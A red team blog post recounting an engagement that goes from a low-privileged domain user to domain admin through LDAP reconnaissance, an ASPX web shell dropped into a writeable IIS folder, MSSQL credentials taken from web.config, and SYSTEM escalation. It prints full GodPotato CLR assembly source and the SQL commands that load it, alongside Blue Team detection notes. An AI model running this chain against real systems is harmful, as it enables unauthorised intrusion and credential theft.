This blog post is the first in the series of Cyndicate Labs Red Team diaries collection. We hope to detail some of the steps that took us from a standard low privileged user in an organisation, hereafter known as client, to full domain compromise, later allowing us to achieve all defined objectives agreed between us and the client.

All screenshots and data in this blog post has been re-created to mimic the exact scenario encountered during the engagement. Obviously we cannot use real screenshots and data in our blog post.

The highlight of this post will be one of the techniques we used to compromise a target MSSQL machine and how we escalated privileges on that box, given the restrictions from EDR software and the watchful Blue Team.

Whilst these posts may be useful for the Red Team community to learn new tricks or approaches, Cyndicate Labs is also hoping this post will provide value to professionals who are responsible for improving security at their organisation. We will also include “Blue Team Tips” throughout the write-up which can aid in building detections around those particular techniques.

Initial Access

After a successful external scenario for the client, we then continued our internal compromise scenario via a Domain user with remote Citrix access, mimicking a legitimate remote working employee. This account we later find out has only one domain group membership - Domain Users.

As with most of our engagements, the client had requested a stealthy approach, with the SOC instructed to follow their usual Detection and Response procedure in the case of any detection events. With that in mind, we continued the reconnaissance phase of the Red Team, attempting to identify as much information about the network as possible, without setting off any alarms that may get us burnt.

Some initial activities that were performed were:

  • Browsing the Netlogon share: \\$client.fqdn\NETLOGON and the GPO share: \\$client.fqdn\SYSVOL
    • This yielded a wealth of information such as file-shares, samaccount naming scheme, logon scripts (Powershell, VBS, etc). Unfortunately, no credentials this time…
  • Browsing the client SharePoint:
    • Browsing SharePoint can often lead to uncovering lots of information within an organisation. This led us to a number of custom internal Web Applications which we later exploit in our journey to domain compromise.
  • Browsing Active Directory objects in a limited fashion by using the built-in utility that lives within dsquery.dll This can be found by visiting:`

Explorer -> Network Tab -> Search Active Directory

We can use this to execute our own custom LDAP queries (somewhat limited in output) without having to bring our own tooling or built-in tools such as PowerShell / net.exe which are often closely monitored.

Blue Team Note: When this tool is executed, it can be identified by monitoring for rundll32.exe processes with the following command-line:

"C:\Windows\System32\rundll32.exe" dsquery.dll,OpenQueryWindow

Whilst browsing SharePoint, names and identifiers of what looked to be in-house applications were identified as part of our standard methodology. One of our next paths would be to find the associated Web Server within Active Directory that an application of interest could be running from. One application stood out, we will call this AppX.

Using the Advanced LDAP option within the previous dsquery tool, we executed the following queries hoping to identify the AppX hosting server:

(&(objectcategory=computer)(name=*IIS*))
(&(objectcategory=computer)(name=*WEB*))
(&(objectcategory=computer)(name=*APPx*))
(&(objectcategory=computer)(description=*APPx*))

Blue Team Note: Monitor Domain Controllers for suspicious LDAP queries that contain asterisks * in common properties and attributes queried by attackers, such as description, name, samaccountname etc. More can be seen documented by Microsoft in the link below, complete with associated KQL queries for Azure.

https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726

Finding a Writeable Web Root

One of the queries was successful and a computer object was returned with an Active Directory description attribute that matched the Web Application we were targeting, APPx.

The first thing we wanted to check was the server via UNC Path in Explorer to see if the web root was being served as a share, and of course, it was. There were two shares, one of which was the web root, and accessible by our low-privilege user.

We could browse into this web root and see various files, but we did not have write permission in the root.

However, it is good practise to check every folder you see in-case permissions are different, in our case, the lib folder was writeable by our low-privilege user. It was at this point we decided to drop our custom ASPX shell (CL-137). We named the shell inline with other files within the directory in order to try to blend in… (Utilities.aspx), and then we attempt to visit our shell in a web browser.

Blue Team Note: Another opportunity for detection is to monitor IIS web roots for newly created files ending in executable extensions, such as ASPX and ASP. A more in-depth list can be seen here: https://learn.microsoft.com/en-us/previous-versions/aspnet/2wawkw1c(v=vs.100)

Those who are familiar with IIS Servers may know that even though we have visited what we thought is the web root of the application and input our correct path /lib/Utilities.aspx we are still greeted with a 404 error - Not Found. This could most likely mean the IIS server is employing Virtual Directories and therefore, we must find the root directory of the Application.

To find the application root, we used various resources such as the clients intranet website, SharePoint searches, searches within LDAP queries of computer attributes etc, in order to identify potential keywords. We found on the SharePoint a referennce to /AppX and this was the root path. Where this fails, you can continue to guess potential root paths based on the keywords around the application you have identified.

Dropping our ASPX Shell for Lateral Movement 1

We could now browse to our ASPX shell @ /AppX/lib/Utilities.aspx

There is a bunch of functionality within the full version of this shell, with as much as possible being implemented using WinAPI functions and other techniques, to avoid spawning suspicious processes.

Enumeration
  1. List Drives on the machine - Useful for identifying other mounted volumes, often the case where data will be stored within organisations (E:\, N:\ …).
  2. List Directories
  3. Read Files
  4. List Processes - Good for checking presence of EDR processes.
  5. Perform GET Requests to arbitrary locations
  6. Download Files
  7. Execute LDAP Queries
  8. Perform DNS Lookups (A)
  9. Perform SQL Queries <-----
Offsec
  1. Execute Shell Commands (via cmd.exe) - Not OPSEC safe
  2. Execute shellcode via new thread inside w3wp.exe - A little more difficult to detect from a Blue-Team perspective, as this spawns a new thread of a shellcode of our choosing
  3. Execute Sysmon Blinding Attack via deleting Registry Key Rules (if vulnerable)
  4. List running threads in a specified PID (Useful to see if shellcode thread has been executed)

The functionality we will be focusing on during this post is the listing of directories, reading of files, and executing SQL queries.

Identifying MSSQL Credentials in web.config

Using the directory listing functionality, we browsed around the machine and its disks and identified the web root on disk. This was located in C:\Xhome\. We also identified another web.config file in C:\inetpub\wwwroot\, the file identified here had a connection string for the application. The MSSQL connection string detailed the remote server address, the username and the password.

Query Remote SQL Server using ASPX Web-Shell

Luckily for us, our ASPX shell can also perform SQL queries using .NET API. Armed with a connection string, we could now use ASPX to check if the MSSQL credentials worked to the remote server DB004 by performing a SQL query.

The screenshot above highlights:

  • The SQL Connection string stolen from the web.config located @ C:\inetpub\wwwroot\web.config
  • The SQL Query select @@version, IS_SRVROLEMEMBER('sysadmin');
    • Display the MSSQL Server version information.
    • Is our connecting user a member of the sysadmin group. – Required for us to perform administrative actions.

We can see that the query returns successfully meaning our credentials worked, and that we are also a sysadmin on the remote SQL server living on DB004.

Note: we had discovered multiple MSSQL credentials at this point littered throughout various hosts within Active Directory, however this is the one that provided us our attack chain success as it had the sa privileges that we required.

Elevating Privileges on Remote MSSQL Server

The next steps we decided to take were to enumerate the DB004 MSSQL box and also elevate our privileges. We knew this server would be of interest for our objectives from our reconnaissance on the SharePoint and the Application Name.

At this point, we could have enabled XP_CMDSHELL and enumerated the underlying host, however the enabling of XP_CMDSHELL and executing tools such as tasklist, whoami /priv are common indicators of compromise. As we knew the client was utilising various EDR and Security software, we decided to make an educated guess that the SQL Service would be running with SeImpersonatePrivilege, and if so, that could allow us to abuse custom CLR assemblies to execute an implant and elevate to SYSTEM.

We now had an attack chain in mind for our Red Team to achieve the objectives and also a clear execution path:

  1. Compromise WEB01 server via open web root for AppX
  2. Drop ASPX Shell
  3. Use ASPX shell to gather credentials for another remote SQL Server (DB004) from C:\inetpub\wwwroot\web.config
  4. Execute remote SQL queries on DB004 via ASPX Shell with sysadmin privileges
  5. Elevate MSSQL Privileges via Custom CLR Assembly

We decided to elevate our privileges to NT AUTHORITY\SYSTEM via a Custom CLR Assembly for SQL Server. A great reference for this technique was written by NetSPI. We modified the popular project GodPotato in order to create an assembly that could be loaded and used to execute our implant with SYSTEM privileges.

Modifying GodPotato into a Custom CLR

Modifying GodPotato to be compiled as a CLR was simple enough, the following code for Program.cs does the trick:

using System;
using System.IO;
using System.Security.Principal;
using SharpToken;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
using System.Text;
namespace GodPotato
{
    public partial class StoredProcedures
    {
        [Microsoft.SqlServer.Server.SqlProcedure]
        public static void cmd_exec(SqlString execCommand)
        {
            TextWriter ConsoleWriter = Console.Out;

            try
            {
                NativeAPI.GodPotatoContext godPotatoContext = new NativeAPI.GodPotatoContext(ConsoleWriter, Guid.NewGuid().ToString());

                ConsoleWriter.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule);
                ConsoleWriter.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr);
                ConsoleWriter.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr);
                ConsoleWriter.WriteLine("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount);

                ConsoleWriter.WriteLine("[*] HookRPC");
                godPotatoContext.HookRPC();
                ConsoleWriter.WriteLine("[*] Start PipeServer");
                godPotatoContext.Start();

                NativeAPI.GodPotatoUnmarshalTrigger storageTrigger = new NativeAPI.GodPotatoUnmarshalTrigger(godPotatoContext);
                try
                {
                    ConsoleWriter.WriteLine("[*] Trigger RPCSS");
                    int hr = storageTrigger.Trigger();
                    ConsoleWriter.WriteLine("[*] UnmarshalObject: 0x{0:x}", hr);

                }
                catch (Exception e)
                {
                    ConsoleWriter.WriteLine(e);
                }

                WindowsIdentity systemIdentity = godPotatoContext.GetToken();
                if (systemIdentity != null)
                {
                    ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name);
                    TokenuUils.createProcessReadOut(Console.Out, systemIdentity.Token, execCommand.ToString());
                }
                else
                {
                    ConsoleWriter.WriteLine("[!] Failed to impersonate security context token");
                }
                godPotatoContext.Restore();
                godPotatoContext.Stop();
            }
            catch (Exception e)
            {
                ConsoleWriter.WriteLine("[!] " + e.Message);

            }
        }
    }
}

We then compiled this and turned it into a hex string ready for the MSSQL queries. You can do this simply using:

xxd -c 9999 -p GodPotato.dll

MSSQL Privilege Escalation to SYSTEM via CLR Assembly

The final queries looked like this:

USE MSDB;
exec sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'clr strict security', 0;
RECONFIGURE;
exec sp_configure 'clr enabled', 1; 
RECONFIGURE;
CREATE ASSEMBLY my_assembly FROM 0x4d5a90000300000004000000ffff0000b800000000000000[...SNIPPED...] WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[GodPotato.StoredProcedures].[cmd_exec];
EXEC dbo.cmd_exec 'C:\Windows\System32\notepad.exe'

NB: The final CREATE PROCEDURE command, and any procedure invocations need to be performed in the context of the MSDB database, so the connection string needed to be modified to point to the MSDB database.

We have also posted the GodPotato CLR DLL on our GitHub for anyone who wishes to give it a whizz.

In addition, if you wish to use the pre-compiled GodPotato CLR and go straight to the MSSQL commands, a text file has also been created in the repository - MSSQL_Commands.txt

We could now execute our GodPotato CLR Assembly and execute our implant. For the purposes of the blog post, we show executing a notepad.exe process as the SYSTEM user as proof of the CLR working as intended.

As shown in the screenshot above, we can successfully execute code as the SYSTEM user. In this example a cmd.exe is spawned under w3wp.exe, however, this is trivial to modify to increase OPSEC, by editing the Source Code. This can be left as an exercise to the reader.

SharpToken.cs

...
 if (CreateProcess(tokenHandle, commandLine, true, (uint)ProcessCreateFlags.CREATE_NO_WINDOW, ref startupInfo,
                    out processInformation))
            {
                consoleWriter.WriteLine($"[*] process start with pid {processInformation.dwProcessId}");

                NativeMethod.CloseHandle(childProcessStdOutWrite);
                childProcessStdOutWrite = IntPtr.Zero;
...

Once we achieved SYSTEM level access on this box, and as there was a process running as the backup software employed at this estate, we were able to launch our implant via the CLR privilege escalation, and grab the token of that process which was running as a member of Domain Admins.

The rest of the objectives of the Red Team engagement were then completed using this access.

Blue Team Note: Opportunities for detection of this technique have been detailed below:

  • Abnormal SQL Server logins
    • Auditing of MSSQL login events from unusual locations may aid in detection in the early stages of this attack.
  • Auditing of suspicious SQL queries such as:
      CREATE PROCEDURE...
      CREATE ASSEMBLY ...
      EXEC sp_configure 'clr strict security', 0`
    
  • Monitoring of the C:\Windows\Temp folder for creation of temporary DLL files.
    • When this technique is executed, sqlservr.exe writes a copy of the custom CLR binary to the Temp folder for a short period of time.



If you would like to learn more about Cyndicate Labs Red Teaming services, please visit the website at https://www.cyndicatelabs.co.uk or contact us at enquiries[at]cyndicatelabs.co.uk.